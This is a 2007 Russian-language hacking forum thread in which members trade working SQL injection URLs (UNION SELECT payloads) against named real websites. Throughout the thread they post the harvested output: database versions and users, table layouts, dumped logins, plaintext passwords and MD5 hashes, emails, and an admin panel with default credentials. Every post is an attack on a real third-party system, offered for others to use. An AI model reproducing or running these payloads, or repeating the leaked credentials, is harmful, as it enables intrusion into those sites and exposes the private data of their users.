SQL Инъекции

24.12.2007, 09:56

4Dfx

Новичок

Регистрация: 06.12.2007

Сообщений: 11

С нами: 9699672

Репутация: 30

Цитата:

http://www.valleys.ru/work.php?id=-1+union+select+1,2,3,4,5,6/*

intelco1_maxanda@localhostintelco1_intelcom4.1.2 2-log

Цитата:

http://www.etikk.no/kurs.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18/*

etikk@213.236.241.190etikk4.1.20

Цитата:

http://www.iocisono.com/articolo.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10/*

IOCISONO@LOCALHOSTE-COMMERCE4.0.24_DEBIAN-10SARGE2-LOG

Цитата:

http://www.vfs.com/curriculum.php?id=-1+union+select+1,2,3,4,5,6/*
wp_users:
id
user_login
user_pass
user_nicename
user_email
user_url
user_registered
user_activation_key
user_status
display_name

http://www.vfs.com/blog/wp-login.php

𝕏 Twitter Reddit Telegram Копировать ссылку

4.1.21:delaneyadmin@205.178.145.65

25.12.2007, 00:13

JIyka

Новичок

Регистрация: 31.10.2007

Сообщений: 18

С нами: 9751670

Репутация: 25

4.1.21:delaneyadmin@205.178.145.65

http://www.frankdelaney.com/work.php?id=13+union+select+1,concat(version(),0x3 a,user()),3,4,5,6,7,8/*

Последний раз редактировалось JIyka; 25.12.2007 в 00:34..

25.12.2007, 00:30

~EviL~

Участник форума

Регистрация: 14.08.2007

Сообщений: 150

С нами: 9865044

Репутация: 205

Код HTML:

http://seksmagazin.ru/show/?prod=5016+UNION+SELECT+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8,9,10,11,12,13/*

Код HTML:

http://onlinesexshop.ru/tovar/?id=5167+UNION+SELECT+1,2,3,version(),5,6,7,8,9,10,11,12,13/*

Код HTML:

http://www.loverland.ru/addbasket.php?action=add&id=-1047+UNION+SELECT+version()/*

Код HTML:

http://www.comingsoon.net/news/movienews.php?id=-40208+UNION+SELECT+version()/*

25.12.2007, 00:33

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

С нами: 9780227

Репутация: 1423

http://www.itmnews.ru/itmnews.php?s=-1'+union+select+1,concat_ws(0x2F,version(),databas e(),user()),3,4,5,6,7,8,9/*

4.1.20-lk-log/itmnewsru/itmnewsru@localhost

-----------------------------------------------------------------------------

kafanews.com

http://www.kafanews.com/index.phtml?link=1&nn=-1+union+select+1,concat_ws(0x2F,version(),database (),user()),3,4,5,6,7,8,9,10,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1/*

5.0.27-log/kafa_news/kafa_news@localhost

http://www.kafanews.com/index.phtml?link=1&nn=-1+union+select+1,concat_ws(0x2F,kto,passwd),3,4,5, 6,7,8,9,10,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1+from+banka_login+limit+1,1/*

имя/пароль
Юлия Ташкина/>kbz

Другие интересные таблицы:

имя таблицы (столбцы) пример

kasper_login (login,passwd) helena/kbyudbcnbrf
loris_login (login,passwd) admin/lorislogin
forums_user (username,password,email,icq) Natalia/34b5231473658a8da04b80b7f850ea17/natasha@kafanews.kafa.crimea.ua/210387998
w_klients_affiliates (username,password,email) Nat/bd953afe4994579f871806f408c7ccd3/natasha@kafanews.kafa.crimea.ua
user (name,pass,mail) root/1/
users (name,pass,email,icq) Максим/adala/maximus111@bigmir.net/
people (name,pass) qwerty/123456

25.12.2007, 00:46

Lesnoy_chelovek

Постоянный

Регистрация: 06.12.2006

Сообщений: 321

С нами: 10226273

Репутация: 370

Код:

http://www.latek.com.ua/index.php?page=produkt.php&subcat=99+union+select+1,2,3,4,5,id,7,8+from+user/*

тупо не могу подобрать колонки

25.12.2007, 01:05

~~ThreeD~~

Banned

Регистрация: 25.12.2006

Сообщений: 179

С нами: 10198073

Репутация: 354

www.bizzz.com

Цитата:

http://www.bizzz.com/index.php?action=browse&country_id=&c ategory_id=365+union+select+id,concat(id,0x3a,user name,0x3a,pass word),3,4,5,6,7,8,9,10+from+me mbers+limit+825,1000/*

rank_site8@p3slh023.shr.phx3.secureserver.net:4.1. 22-max-log:rank_site8

Поигравшись с лимитом, можно вывести остальных.
__________________________________________
www.awiscz.com

Цитата:

http://www.awiscz.com/we b/web1_en.php?id=-57+union+select+1,2,3,4,concat(i d,login,p assword),6+from+user s+limit+0,1/*

4.1.22-log:awiscz_com:awisc.com@localhost

Админка: www.awiscz.com/admin/
Login: admin
Pass: admin
__________________________________________
www.impresia.ro

Цитата:

http://www.impresia.ro/index.php?tab=12&id=-12+union+select+1,concat(versio n(),0x3a,user(),0x 3a,d atabase()),3,4/*

4.1.22-standard:impresia_web@localhost:impresia_web
__________________________________________
www.nordicdvd.net

Цитата:

http://www.nordicdvd.net/index.php?lang_id=en&title_id=3180+union+select+co nc at(USER(),0x3a,VERSION( ),0x3a,DA TABASE()),1/*

kvernan_oebdvd@localhost:4.1.22-standard:kvernan_kvernan

Присутствует таблица kvernan
__________________________________________
http://videos.baise-porno.net

Цитата:

http://videos.baise-porno.net/payment.php?id=-34+union+select+1,2,3,4,5,6,7,convert(concat(USER( ),0x3a,VER SION(),0x3a,DAT ABASE())+using+latin1),9,10/*

kabia06@localhost:4.1.11-Debian_4sarge7-log:kabia06_privilege
__________________________________________

Добавлено

Может кому будет интересно (в чем я, собственно, не сомневаюсь)

Покрутите:

Цитата:

http://www.casino-friends.com/news-casino.php?id=5'

Последний раз редактировалось ThreeD; 25.12.2007 в 01:50..

25.12.2007, 01:33

~EviL~

Участник форума

Регистрация: 14.08.2007

Сообщений: 150

С нами: 9865044

Репутация: 205

Код HTML:

http://www.uprava.org/section.php?id=-34+UNION+SELECT+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7/*

Код HTML:

http://www.happyland-drink.ru/brands.php?id=-2+UNION+SELECT+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/*

Последний раз редактировалось ~EviL~; 25.12.2007 в 01:48..

25.12.2007, 02:23

~EviL~

Участник форума

Регистрация: 14.08.2007

Сообщений: 150

С нами: 9865044

Репутация: 205

Код HTML:

http://www.hro.org/get_rubric.php?id=-37+UNION+SELECT+1,version(),3,4,5,6,7/*

Код HTML:

http://www.hro.org/get_rubric.php?id=-37+UNION+SELECT+1,concat(user_id,0x3a,user_name,0x3a,password),3,4,5,6,7+FROM+user+LIMIT+0,1/*

1:semenov:6b19beeaedade171ecc320ddd87f7ae6::dancer

25.12.2007, 02:42

~~ThreeD~~

Banned

Регистрация: 25.12.2006

Сообщений: 179

С нами: 10198073

Репутация: 354

Цитата:

http://www.seattlepokertournaments.com/casino.php?id=-25+union+select+1,concat(version(),0x3a,database() ,0x3a,user()),3,4,5,6,7,8,9,10,11,12,13/*

4.0.27-standard-log:db93557881:dbo93557881@74.208.16.119

#10

25.12.2007, 02:52

Red_Red1

Участник форума

Регистрация: 12.01.2007

Сообщений: 262

С нами: 10172486

Репутация: 874

2 Lesnoy_chelovek

Код:

http://www.latek.com.ua/index.php?page=produkt.php&subcat=99+union+select+1,2,3,log,5,pas,7,8+from+user/*

Внести депозит

Депозит создан

Вывести депозит